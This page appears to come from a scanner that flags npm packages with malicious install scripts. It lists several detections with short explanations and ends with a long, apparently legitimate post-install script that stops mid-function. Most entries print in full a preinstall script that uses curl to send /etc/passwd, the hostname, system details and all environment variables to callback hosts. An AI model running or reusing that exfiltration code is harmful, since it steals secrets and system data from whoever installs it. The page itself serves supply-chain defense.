Home
Docs
GitHub
Blog

Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our 𝕏 / Twitter feed for updates.

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code executes a command that uses curl to send sensitive information from the local system, including the contents of /etc/passwd, /etc/hostname, system information, and environment variables, to a remote server. This can lead to unauthorized access and exposure of sensitive data.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).pekzvdfmbvjjrwubzbps9dbnswdhjbb4r.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code uses the exec function to run a shell command that sends sensitive information, including the content of /etc/passwd, /etc/hostname, and environment variables, to a remote server. This poses a significant risk as it could lead to the exposure of user credentials and system information to an attacker.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).pekzvdfmbvjjrwubzbpsf81pfbpg8o3bi.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code executes a shell command that uses curl to send sensitive information, including the contents of /etc/passwd, /etc/hostname, system information, and environment variables, to a remote server. This is dangerous because it leaks sensitive data that could be used for further exploitation or unauthorized access to the system.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).pekzvdfmbvjjrwubzbpsf81pfbpg8o3bi.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The script attempts to run the command install-peers but includes || true, which allows it to continue running even if the command fails. This may indicate an intent to execute potentially harmful actions dynamically based on the result, which could include downloading or executing malicious code.

Install script:
install-peers || true

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code executes a shell command that sends sensitive information (including user account details and environment variables) to a remote server using a curl command. This poses a significant security risk as it can leak sensitive system information and compromise the user's system security.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).pekzvdfmbvjjrwubzbpsf81pfbpg8o3bi.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code executes a shell command that gathers sensitive system information (such as user details, system name, operating system information, and environment variables) and sends it to a remote server. This is dangerous as it can lead to unauthorized data access and potential exploitation of the system.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).unrkajdvqlorwufbpkoywvshmza27lym1.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

The code executes a command that sends sensitive system information (like the contents of /etc/passwd, hostname, kernel version, and environment variables) to a remote server using a crafted URL. This could lead to unauthorized access and disclosure of sensitive user data.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).unrkajdvqlorwufbpkoyv25gjm9q84kkc.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: preinstall
Package Source: ↗️ View on Npm

This code constructs a command to execute a curl request that sends sensitive information (like /etc/passwd and environment variables) to a remote server. If executed, it can lead to exposure of sensitive data and unauthorized access to users' local information.

Install script:
node index.js
Install script code:
const { exec } = require("child_process");
const command = 'curl -XPSOT "http://$(whoami).unrkajdvqlorwufbpkoyv25gjm9q84kkc.oast.fun/" -d "$(cat /etc/passwd /etc/hostname && uname -a && env)"';
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(error.message);
return;
}
if (stderr) {
console.log(stderr);
}
console.log(stdout);
});

Detected: 30 Mar 2025
Detected Date: 30 Mar 2025
Affected Install Script: postinstall
Package Source: ↗️ View on Npm

The script contains several sections that can introduce security risks, such as invoking shell commands with execSync, manipulating file permissions, altering user profiles, and creating symbolic links. Specifically, using execSync can allow for command injection vulnerabilities if user inputs or environmental variables are not properly sanitized. Additionally, the script installs a package and creates files in the user's home directory, which could be exploited to modify user configurations or install malicious binaries without appropriate user consent.

Install script:
node script/post_install.js
Install script code:
#!/usr/bin/env node
'use strict';
/**
 * This file is part of the gina package.
 * Copyright (c) 2009-2025 Rhinostone <contact@gina.io>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

//Imports
var fs          = require('fs');
var os          = require("os");
var util        = require('util');
var promisify   = util.promisify;
const { execSync } = require('child_process');

var isWin32 = function() {
    return (process.platform === 'win32') ? true : false;
};
var isWritableSync = function(path) {
    var canWrite = false;
    if ( fs.accessSync && typeof(fs.accessSync) != 'undefined' ) {
        try {
            fs.accessSync(path, fs.constants.W_OK);
            canWrite = true;
        } catch (err) {
            canWrite = false;
        }
    } else { // support for old version of nodejs

        try {
            canWrite = (fs.statSync(path).mode & (fs.constants.S_IRUSR | fs.constants.S_IRGRP | fs.constants.S_IROTH));
        } catch (err) {
            canWrite = false
        }
    }

    return canWrite
};

var getUserHome = function() {
    var home = os.homedir ? os.homedir : function() {
        var homeDir = process.env[(isWin32()) ? 'USERPROFILE' : 'HOME'];

        if ( !homeDir || homeDir == '' ) {
            throw new Error('Home directory not defined or not found !');
        }

        if ( !isWritableSync(homeDir) ) {
            throw new Error('Home directory found but not writable: need permissions for `'+ homeDir +'`');
        }

        return homeDir;
    };

    return home()
};

// just in case `post_install` is called by hand
var initialDir = process.cwd();
var frameworkPath   = __dirname +'/..';
if ( !fs.existsSync(frameworkPath +'/node_modules/colors') ) {
    process.chdir(frameworkPath);

    var oldConfigGlobal = process.env.npm_config_global;
    process.env.npm_config_global=false;
    var cmd = ( isWin32() ) ? 'npm.cmd install colors@1.4.0' : 'npm install colors@1.4.0';
    execSync(cmd);
    process.env.npm_config_global=oldConfigGlobal;

    process.chdir(initialDir);
}

var lib         = require('./lib');
var console     = lib.logger;

var scriptPath = __dirname;
var ginaPath = (scriptPath.replace(/\\/g, '/')).replace('/script', '');
var help        = require(ginaPath + '/utils/helper.js');
var pack        = ginaPath + '/package.json';
pack =  (isWin32()) ? pack.replace(/\//g, '\\') : pack;
var helpers = null;


/**
 * Post install constructor
 * @constructor
 * */
function PostInstall() {

    var self = {};

    var configure = function() {

        // TODO - handle windows case
        if ( /^true$/i.test(isWin32()) ) {
            throw new Error('Windows in not yet fully supported. Thank you for your patience');
        }

        self.isWin32            = isWin32();
        self.isGlobalInstall    = ( typeof(process.env.npm_config_global) != 'undefined' && /^(true|false)$/i.test(process.env.npm_config_global) )
                                    ? (/^true$/i.test(process.env.npm_config_global) ? true: false)
                                    : false;
        self.isResetNeeded      = ( typeof(process.env.npm_config_reset) != 'undefined' && /^(true|false)$/i.test(process.env.npm_config_reset) )
                                    ? (/^true$/i.test(process.env.npm_config_reset) ? true: false)
                                    : false;
        self.defaultPrefix      = execSync('npm config get prefix').toString().replace(/\n$/g, '');
        // var pkg = null;
        // try {
        //     if (self.isGlobalInstall) {
        //         pkg = execSync('npm list -g gina --long --json').toString().replace(/\n$/g, '');
        //     } else {
        //         pkg = execSync('npm list gina --long --json').toString().replace(/\n$/g, '');
        //     }
        // } catch(err) {
        //     throw err
        // }
        // self.optionalPrefix     = JSON.parse(pkg).dependencies.gina.config.optionalPrefix.replace(/^\~/, getUserHome());

        // `process.env.npm_config_prefix` is only retrieved on `npm install gina`
        // and it should always be equal to `self.defaultPrefix`
        self.prefix             = process.env.npm_config_prefix || self.defaultPrefix;
        self.isCustomPrefix     = false;
        self.isGinaInstalled    = false;

        // Overriding thru passed arguments
        var args = process.argv, i = 0, len = args.length;
        for (; i < len; ++i) {
            if ( /^(\-g|\-\-global)$/.test(args[i]) ) {
                self.isGlobalInstall = true;
                continue;
            }

            if ( /^\-\-reset$/.test(args[i]) ) {
                self.isResetNeeded = true;
                continue;
            }

            if ( /^\-\-prefix\=/.test(args[i] ) ) {
                self.isCustomPrefix = true;
                self.prefix = args[i].split(/\=/)[1];
                self.prefix = self.prefix.replace(/^\~/, getUserHome());
                continue;
            }

            if ( /^\-\-log-level\=/.test(args[i]) ) {
                var logLevel = args[i].split(/\=/)[1];
                console.setLevel(logLevel, 'gina');
                process.env.LOG_LEVEL=logLevel;
            }
        }

        if (self.prefix != self.defaultPrefix) {
            self.isCustomPrefix = true;
        }

        // For local install
        console.debug('self.isGlobalInstall => '+ self.isGlobalInstall);
        if ( !self.isGlobalInstall ) {
            console.warn('Local installation is not fully supported at the moment.');
            console.warn('You are encouraged to use `npm install -g gina`\nor, if you are trying to link gina to your project, use `npm link gina` if Gina has already been installed globally\n');
            // Just in case someone is trying to run post_install from the `gina` module of from the project dir
            if (!/node\_modules(\\\\|\/)gina$/.test(process.env.INIT_CWD)) {
                self.prefix = process.env.INIT_CWD || process.cwd();
            }

            // No package.json ?
            var projectName = self.prefix.split('/').slice(-1)[0];
            var projectPackageJsonObj = new _(self.prefix +'/package.json', true);
            console.info('Checking for: '+ projectPackageJsonObj.toString(), '['+ projectPackageJsonObj.existsSync()  +']');
            if ( !projectPackageJsonObj.existsSync() ) {
                var defaultPackageJsonContent = {
                    "name": ""+ projectName,
                    "version": "0.0.1",
                    "description": projectName+ " is a nice project !",
                    "engine": [
                        "node >=" + process.version.substring(1)
                    ]
                };
                console.warn('No `package.json` found for your project, creating one to avoid install exceptions');
                lib.generator.createFileFromDataSync(defaultPackageJsonContent, projectPackageJsonObj.toString());
            }
        }

        // checking permission
        var hasPermissionsForBin = isWritableSync(self.prefix + ( isWin32() ? '\\' : '/' ) + 'bin');
        var hasPermissionsForLib = isWritableSync(self.prefix + ( isWin32() ? '\\' : '/' ) + 'lib');
        var hasPermissionsForVar = isWritableSync(self.prefix + ( isWin32() ? '\\' : '/' ) + 'var');
        if ( !hasPermissionsForBin || !hasPermissionsForLib || !hasPermissionsForVar) {
            if (!hasPermissionsForBin) {
                console.warn('Path not accessible or missing: '+ self.prefix + ( isWin32() ? '\\' : '/' ) + 'bin')
            }
            if (!hasPermissionsForLib) {
                console.warn('Path not accessible or missing: '+ self.prefix + ( isWin32() ? '\\' : '/' ) + 'lib')
            }
            if (!hasPermissionsForVar) {
                console.warn('Path not accessible or missing: '+ self.prefix + ( isWin32() ? '\\' : '/' ) + 'var')
            }

            // console.warn('You do not have sufficient permissions. Switching to `--prefix='+ self.optionalPrefix +'`');
            // process.env.npm_config_prefix = self.prefix = self.optionalPrefix;
        }

        self.gina = __dirname +'/..';
        var pkg = null, pkgObj = null, cmd = null;
        try {
            cmd = 'npm list gina --long --json --prefix='+ self.prefix;
            if (self.isGlobalInstall) {
                cmd += ' -g';
            }
            pkg = execSync(cmd).toString().replace(/\n$/g, '');
            self.optionalPrefix = JSON.parse(pkg).dependencies.gina.config.optionalPrefix.replace(/^\~/, getUserHome());
            pkgObj = JSON.parse(pkg);
            self.optionalPrefix = pkgObj.dependencies.gina.config.optionalPrefix.replace(/^\~/, getUserHome());
        } catch(err) {
            // throw err
            // ignore exception
            if ( !self.isGlobalInstall ) {
                pkgObj = requireJSON(_(pack, true));
                self.versionPath = self.gina;
                self.versionPath += (isWin32()) ? '\\framework\\' : '/framework/';
                self.version = pkgObj.version;
                self.versionPath += 'v'+ self.version;

                self.shortVersion = self.version.split('.');
                self.shortVersion.splice(2);
                self.shortVersion = self.shortVersion.join('.');
            }
        }


        if ( self.prefix != self.defaultPrefix ) {
            self.isCustomPrefix = true;
        }


        // tying to figure out if gina is already install the given prefix
        var hasFoundGina = pkg;
        try {
            hasFoundGina = JSON.parse(hasFoundGina);
            if ( hasFoundGina.dependencies && typeof(hasFoundGina.dependencies.gina) != 'undefined' ) {
                self.isGinaInstalled = true;
                self.versionPath = self.gina;
                self.versionPath += (isWin32()) ? '\\framework\\' : '/framework/';
                self.version = hasFoundGina.dependencies.gina.version;
                self.versionPath += 'v'+ self.version;

                self.shortVersion = self.version.split('.');
                self.shortVersion.splice(2);
                self.shortVersion = self.shortVersion.join('.');

                console.debug('Install path => '+ hasFoundGina.dependencies.gina.path);

                // OK ... found installed gina but on a different prefix
                // In this case, let's assume that it is not really installed
                console.info('A previous version of gina has been detected');
                if ( !new RegExp('^'+ self.prefix).test(hasFoundGina.dependencies.gina.path) ) {
                    self.isGinaInstalled = false;
                    console.info('Ignoring previous because of a mismatching install prefix');
                }

            }
        } catch (err) {}

        console.debug('self.defaultPrefix => '+ self.defaultPrefix);
        console.debug('self.optionalPrefix  => '+ self.optionalPrefix );
        console.debug('self.prefix => '+ self.prefix);
        console.debug('self.isCustomPrefix => ', self.isCustomPrefix);
        // only available when running the script with NPM
        console.debug('process.env.npm_config_prefix => '+ process.env.npm_config_prefix);
    }

    //Initialize post installation scripts.
    var init = function() {
        configure();
        helpers = require(self.versionPath+ '/helpers');

        begin(0);
    }

    /**
     * Bebin - Will run checking tasks in order of declaration
     * */
     var begin = async function(i) {
        var n = 0, funct = null, functName = null;
        for (let t in self) {
            if ( typeof(self[t]) == 'function') {
                if (n == i) {
                    //let func = 'self.' + t + '()';
                    let func = 'self.' + t;
                    console.debug('Running [ ' + func + '() ]');
                    funct       = func;
                    functName   = t;
                    break;
                }
                n++;
            }
        }

        // to handle sync vs async to allow execution in order of declaration
        if (funct) {
            eval('async function on'+functName+'(){ await promisify('+ funct + ')().catch(function(e){ console.error(e.toString()); process.exit(1);}).then(function(){ begin('+(i+1)+')});}; on'+functName+'();'); // jshint ignore:line
        } else {
            process.exit(0);
        }
    }

    // self.checkIfIsContributorEnv = function(done) {
    //     var isContribEnv = false;
    //     if ( new _(self.gina + '/.git', true).existsSync() ) {
    //         isContribEnv = true;
    //     }
    //     var homeDir = getUserHome() || null;
    //     if (!homeDir) {
    //         return done(new Error('No $HOME path found !'))
    //     }
    //     var ginaHomeDir = homeDir.replace(/\n/g, '') + '/.gina';
    //     setEnvVar('GINA_HOMEDIR', ginaHomeDir);

    //     var npmGlobal = homeDir.replace(/\n/g, '') + '/.npm-global';
    //     var IsNpmGlobalFound = false;
    //     if ( new _(npmGlobal, true).existsSync() ) {
    //         IsNpmGlobalFound = true;

    //         if ( ! new _(npmGlobal +'/bin', true).existsSync() ) {
    //             new _(npmGlobal +'/bin', true).mkdirSync()
    //         }
    //         if ( ! new _(npmGlobal +'/lib/node_modules', true).existsSync() ) {
    //             new _(npmGlobal +'/lib/node_modules', true).mkdirSync()
    //         }
    //     }

    //     console.debug(self.gina, ' | ', ginaHomeDir);
    //     console.debug('Is contributor‘s env ? : '+ isContribEnv);

    //     // Fixing `npm link` VS `.npm-global` issue on contributors env
    //     /**
    //      * Patch designed to use `npm link gina` in your project
    //      * without taking the risk to get the wrong package version
    //      *
    //      * See.:
    //      * 4 reasons to avoid using `npm link`  - https://hirok.io/posts/avoid-npm-link
    //      * */
    //     if (isContribEnv && IsNpmGlobalFound) {
    //         console.debug('Contributor case detected ...\n', JSON.stringify(process.env, null, 2));

    //         lib.generator.createFileFromDataSync(isContribEnv +'\n'+ '\n'+ IsNpmGlobalFound +'\n'+ JSON.stringify(process.env, null, 2), npmGlobal+'/npm_out.txt');

    //         // symlink the lib
    //         // ln -s /usr/local/lib/node_modules/gina ~/.npm-global/lib/node_modules/gina
    //         // symlink the bin
    //         // ln -s ~/.npm-global/lib/node_modules/gina/bin/gina ~/.npm-global/bin/gina
    //     }

    //     done();
    // }


    self.createVersionFile = function(done) {
        var version = self.version;
        console.debug('Writting version number: '+ version);

        var target = _(self.versionPath + '/VERSION');
        try {
            if ( fs.existsSync(target) ) {
                fs.unlinkSync(target)
            }
            fs.writeFileSync(target, version);
        } catch(err) {
            return done(err)
        }

        done();
    }

    // TODO - Remove this part
    var configureGina = function() {
        // link to ./bin/cli to binaries dir
        if (!self.isWin32) {
            var binPath     = null;
            if ( !self.isGlobalInstall() ) {
                binPath = new _(self.prefix+'/node_modules/.bin', true).existsSync() ? _(self.prefix+'/node_modules/.bin', true) : '';
            } else {
                binPath = new _(self.prefix+'/lib/node_modules/gina/bin', true)
            }

            var cli         = _(binPath +'/gina', true);
            // TODO - remove this part for the next version
            var cliDebug    = _(binPath +'/gina-debug', true);

            if ( fs.existsSync(cli) ) {
                fs.unlinkSync(cli)
            }
            // TODO - remove this part for the next version
            if ( fs.existsSync(cliDebug) ) {
                fs.unlinkSync(cliDebug)
            }


            if ( !self.isGlobalInstall() ) {
                new _(cli, true).symlinkSync(  _(self.prefix +'/gina', true) )
            }
            // else {
            //     new _(cli, true).symlinkSync( _(self.prefix +'/bin/', true) )
            // }


            // var cmd = 'ln -s '+ self.gina +'/bin/gina '+ binPath;
            // console.debug('running: '+ cmd);
            // run(cmd, { cwd: _(self.versionPath), tmp: _(self.root +'/tmp'), outToProcessSTD: true })
            //     .onData(function(data){
            //         console.info(data)
            //     })
            //     .onComplete( function onDone(err, data){
            //         if (err) {
            //             console.error(err);
            //             console.warn('try to run : sudo ' + cmd);
            //         }
            //     });
            // To debug, you just need to run:
            //          gina <topic>:<task> --inspect-gina
            //
            // TODO - remove this part for the next version
            // cmd = 'ln -s '+ self.gina +'/bin/cli-debug '+ binPath +'/gina-debug';
            // run(cmd, { cwd: _(self.versionPath), tmp: _(self.root +'/tmp'), outToProcessSTD: true })
            //     .onData(function(data){
            //         console.info(data)
            //     })
            //     .onComplete( function onDone(err, data){
            //         if (err) {
            //             console.error(err);
            //             console.warn('try to run : sudo ' + cmd);
            //         }
            //     });

        } else {
            console.warn('linking gina binary is not supported yet for Windows.');
        }
    }

    //Creating framework command line file for nix.
    var createGinaFile = function(callback) {
        // local install only
        if (self.isGlobalInstall) {
            return callback(false);
        }

        console.info('Current prefix: '+ self.prefix );
        console.info('Current package.json: '+  _(self.gina + '/package.json', true) );

        console.info('Creating framework command line:');
        var appPath = process.env.INIT_CWD || process.cwd();
        console.debug('App path: '+ appPath);
        var source = _(appPath + '/node_modules/.bin/gina', true);
        var target = _(appPath +'/gina', true);
        if ( isWin32() ) {
            source = _(appPath + '/node_modules/.bin/gina.bat', true)
            target = _(appPath +'/gina.bat', true)
        }
        console.debug('Source: '+ source);
        console.debug('Target: '+ target);

        if ( callback && typeof(callback) != 'undefined') {
            console.info('Linking to binaries dir: '+ source +' -> '+ target);
            try {
                if ( fs.existsSync(target) ) {
                    fs.unlinkSync(target)
                }
                new _(source).symlinkSync(target)
            } catch (err) {
                return callback(err)
            }

            return callback(false);
        }
    }

    self.createGinaFileForPlatform = async function(done) {
        console.info('Creating platform file');
        // var name = require( _(self.versionPath + '/package.json') ).name;

        // var filename = ( (self.isWin32) ? '.' : '' ) + name;

        var keepGoing = function() {

            createGinaFile(function onFileCreated(err) {
                if (err) {
                    return done(err)
                }

                // this is done to allow multiple calls of post_install.js
                var filename = _(self.versionPath + '/SUCCESS');
                var installed = fs.existsSync( filename );
                if (installed) {
                    fs.unlinkSync( filename );
                }

                // if ( /node_modules\/gina/.test( new _(process.cwd()).toUnixStyle() ) ) {
                //     var msg = "Gina's command line tool has been installed.";
                //     console.info(msg);
                //     process.exit(0)
                // }

                console.debug('Writting '+ filename);
                fs.writeFileSync(filename, 'true' );

                // do something that can be called after the first time installation


                // Check if npm install has been done
                if ( !hasNodeModulesSync() ) {
                    return npmInstall(done)
                } else {
                    var target = new _(self.versionPath + '/node_modules');
                    console.debug('Replacing: ', target.toString() );
                    return target
                        .rm( function onRemove(err) {
                            if (err) {
                                return done(err);
                            } else {
                                return npmInstall(done)
                            }
                        })
                }

            })
        }

        // if (self.isWin32) {
        //     // var appPath = _( self.versionPath.substring(0, (self.versionPath.length - ("node_modules/" + name + '/').length)) );
        //     var appPath = process.cwd()
        //     var source = _(self.versionPath + '/core/template/command/gina.bat.tpl');
        //     var target = _(appPath +'/'+ name + '.bat');
        //     if ( fs.existsSync(target) ) {
        //         fs.unlinkSync(target);
        //         // have to wait for windows to complete this
        //         setTimeout( async function(){
        //             lib.generator.createFileFromTemplate(source, target);
        //             await keepGoing(filename)
        //         }, 1000)
        //     } else {
        //         lib.generator.createFileFromTemplate(source, target);
        //         await keepGoing(filename)
        //     }

        // } else {
            await keepGoing()
        // }
    }


    var hasNodeModulesSync = function() {
        return fs.existsSync( _(self.versionPath + '/node_modules') )
    }


    var npmInstall = function(done) {

        console.info('Now installing modules. Please, wait ...');
        console.info('Prefix ('+ self.isCustomPrefix +'): '+ self.prefix);
        console.info('Default prefix: '+ self.defaultPrefix);
        var initialDir = process.cwd();


        var cmd = ( isWin32() ) ? 'npm.cmd install' : 'npm install';

        process.chdir( self.versionPath );

        console.info('Running: `'+ cmd +'` from '+ process.cwd() );
        console.info('Running using TMPDIR: '+  _(getTmpDir(), true) );
        var oldConfigGlobal = process.env.npm_config_global;
        process.env.npm_config_global = false;
        console.info('Running using TMPDIR: '+ cmd);
        console.info(execSync(cmd).toString());
        process.chdir(initialDir);
        process.env.npm_config_global = oldConfigGlobal;

        done()
    }

    self.cleanupIfNeeded = function(done) {

        var frameworkPath = self.gina;
        console.debug('Framework path is: ' + frameworkPath);

        // Let's cleanup `colors` from `GINA_DIR`
        if ( new _(frameworkPath +'/node_modules/colors', true).existsSync() ) {
            var initialDir = process.cwd();
            process.chdir(frameworkPath);
            var oldConfigGlobal = process.env.npm_config_global;
            process.env.npm_config_global=false;

            // var cmd = self.prefix +'/bin/';
            // cmd += ( isWin32() ) ? 'npm.cmd rm colors' : 'npm rm colors';

            var cmd = ( isWin32() ) ? 'npm.cmd rm colors' : 'npm rm colors';

            try {
                execSync(cmd);
                console.debug('Removed default `colors` module from `GINA_DIR`... This is normal ;)');
            } catch (npmErr) {
                process.chdir(initialDir);
                return done(npmErr);
            }

            process.chdir(initialDir);
            process.env.npm_config_global=oldConfigGlobal;
        }

        done()
    }

    self.checkUserExtensions = async function(done) {
        var err = null;
        var versionDirObj = new _( getUserHome() +'/.gina/'+ self.shortVersion, true);
        console.debug('versionDirObj: '+ versionDirObj.toString() );
        if ( !versionDirObj.existsSync() ) {
            versionDirObj.mkdirSync()
        }
        var defaultSettingsObj = new _(versionDirObj.toString() + '/settings.json', true);
        if (!defaultSettingsObj.existsSync()) {
            promisify(new _(self.gina +'/resources/home/settings.json').cp)(defaultSettingsObj.toString())
                .catch( function onCopyError(_err) {
                    err = _err;
                })
        }
        if (err) {
            return done(err);
        }
        var defaultMainObj = new _(versionDirObj.toString() + '/main.json', true);
        if (!defaultMainObj.existsSync()) {
            promisify(new _(self.gina +'/resources/home/main.json').cp)(defaultMainObj.toString())
                .catch( function onCopyError(_err) {
                    err = _err;
                })
        }
        if (err) {
            return done(err);
        }

        var userDir = _(getUserHome() + '/.gina/user', true);
        // var userDirObj = new _(userDir);
        // if ( ! userDirObj.existsSync() ) {
        //     userDirObj.mkdirSync();
        // }
        // var extDir = _(userDir +'/extensions', true);
        // var extDirObj = new _(extDir);
        // if ( ! extDirObj.existsSync() ) {
        //     extDirObj.mkdirSync();
        // }

        // // logger
        // var extLogger = _(extDir +'/logger', true);

        // reading default extensions
        var ext = _(self.gina +'/resources/home/user/extensions', true);
        // if (!self.isCustomPrefix) {
        //     ext = _( self.defaultPrefix + '/lib/node_modules/gina/bin/gina')
        // }
        var folders = [];
        try {
            console.debug('Reading :'+ ext + ' - isDirectory ? '+ fs.lstatSync( ext ).isDirectory() );
            folders = fs.readdirSync(ext);

        } catch(readErr) {
            throw readErr
        }

        for (let i = 0, len = folders.length; i < len; i++) {
            let dir = folders[i];
            // skip junk
            if ( /^\./i.test(dir) || /(\s+copy|\.old)$/i.test(dir) ) {
                continue;
            }

            // skip symlinks
            try {
                console.debug('Checking: '+ _(ext +'/'+ dir, true) + ' - isSymbolicLink ? '+ fs.lstatSync( _(ext +'/'+ dir, true) ).isSymbolicLink() );
                if ( fs.lstatSync( _(ext +'/'+ dir, true) ).isSymbolicLink() ) {
                    continue;
                }
            } catch (e) {
                continue;
            }

            let userExtPath = _(userDir +'/extensions/'+ dir, true);
            let userExtPathObj = new _(userExtPath)
            if ( !userExtPathObj.existsSync() ) {
                userExtPathObj.mkdirSync()
            }

            let files = []
                , extDir = _(ext +'/'+ dir, true)
            ;
            try {

                console.debug('Reading extDir: '+ extDir + ' - isDirectory ? '+ fs.lstatSync( extDir ).isDirectory() );
                if ( !fs.lstatSync( extDir ).isDirectory() ) {
                    continue;
                }


                files = fs.readdirSync( extDir );

            } catch(fileReadErr) {}

            console.debug("What about files ? " + files);

            for (let n = 0, nLen = files.length; n < nLen; n++) {
                let file = files[n];
                console.debug('File --> ', file);
                let extentionPath   = _(extDir +'/'+ file, true);
                let extensionPathObj =  new _(extentionPath);
                // redefined
                let userExtPathObj = new _(userExtPath + '/'+ file, true);
                if ( !userExtPathObj.existsSync() ) {
                    let f = function(destination, cb) {// jshint ignore:line
                        extensionPathObj.cp(destination, cb);
                    };
                    let err = false;
                    await promisify(f)( _(userExtPath + '/'+ file, true) )
                        .catch( function onCopyError(_err) {// jshint ignore:line
                            err = _err;
                        })
                        .then( function onCopy(_destination) {// jshint ignore:line
                            console.debug('Copy '+ extentionPath +' to '+ _destination +' done !');
                        });

                    if (err) {
                        return done(err);
                    }
                }
            }
        }


        done()
    }

    /**
     * Updated user's profile
     * Will edit ~/.profile, check and add if needed path to Gina binary
     *
     */
    self.updateUserProfile = async function(done) {

        if ( !self.isGlobalInstall || isWin32() ) {
            return done()
        }
        // if (!self.isCustomPrefix || self.prefix == self.defaultPrefix) {
        //     return done()
        // }
        var cmd = null;
        var profilePath = getUserHome() + '/.profile';
        var profilePathObj = new _(profilePath);
        if ( !profilePathObj.existsSync() ) {
            cmd = 'touch '+ profilePath;
            await promisify(run)(cmd, { cwd: _(self.versionPath), tmp: _(getTmpDir(), true), outToProcessSTD: true, shell: "/bin/bash"})
                .catch(function onError(err){
                    if (err) {
                        console.warn('Try to run: sudo ' + cmd);
                        return done(err);
                    }
                });
        }

        var inFile = null;
        var patt = _(self.prefix.replace( new RegExp( '^' +getUserHome() ), '(.*)[$]HOME') + '/bin', true);
        try {
            inFile = execSync("cat ~/.profile | grep -Eo '" + patt +"'", {shell: "/bin/bash"}).toString();
        } catch (err) {
            // nothing to do
        }

        if (!inFile) {
            patt = patt.replace('(.*)[$]', '$');
            inFile = '\nif [ -d "'+ patt +'" ]; then';
            inFile += '\n    PATH="'+ patt +':$PATH"';
            inFile += '\nfi\n';
            try {
                fs.appendFileSync( getUserHome()+'/.profile', inFile );
            } catch (err) {
                return done(err);
            }
            inFile = null;

            // we need to source/update ~/.profile
            try {
                cmd = "source "+ profilePath;
                console.info('Running: '+ cmd);
                execSync(cmd, {shell: "/bin/bash"});
            } catch (err) {
                return done(err)
            }
        }

        done()
    }

    var restoreSymlinks = function() {
        var archivesPath = _(getUserHome() + '/.gina/archives/framework', true);
        var frameworkPath = _(self.gina +'/framework', true);

        if ( !new _(archivesPath).existsSync() ) {
            return;
        }
        // get current framework version
        var ginaPackage = require(pack);
        self.versionPath = self.gina;
        self.version = ginaPackage.version.replace(/^v/, '');
        self.shortVersion = self.version.split('.');
        self.shortVersion.splice(2);
        self.shortVersion = self.shortVersion.join('.');
        var currentVersion = 'v'+ self.version;
        // cleanup first
        var versionsFolders = fs.readdirSync(frameworkPath);
        for (let i = 0, len = versionsFolders.length; i < len; i++) {
            let dir = versionsFolders[i];
            // skip junk
            if ( /^\./i.test(dir) || /(\s+copy|\.old)$/i.test(dir) ) {
                continue;
            }

            // intercept & remove existing symlinks or old versions dir
            try {
                if ( fs.lstatSync( _(frameworkPath +'/'+ dir, true) ).isSymbolicLink() ) {
                    console.debug('Removing Symlink: '+ _(frameworkPath +'/'+ dir, true) );
                    // new _(frameworkPath +'/'+ dir, true).rmSync();
                    fs.unlinkSync(_(frameworkPath +'/'+ dir, true));
                    continue;
                }

                if (
                    dir != currentVersion
                    && fs.lstatSync( _(frameworkPath +'/'+ dir, true) ).isDirectory()
                ) {
                    console.debug('Removing old version: '+ _(frameworkPath +'/'+ dir, true));
                    new _(frameworkPath +'/'+ dir, true).rmSync()
                }
            } catch (e) {
                continue;
            }
        }

        // restoring symlinks from archives
        versionsFolders = fs.readdirSync(archivesPath);
        for (let i = 0, len = versionsFolders.length; i < len; i++) {
            let dir = versionsFolders[i];
            // skip junk
            if ( /^\./i.test(dir) || /(\s+copy|\.old)$/i.test(dir) ) {
                continue;
            }

            // skip selected - for dev team only
            if ( new _(frameworkPath +'/'+ dir, true).existsSync() ) {
                continue;
            }

            // creating symlinks
            try {
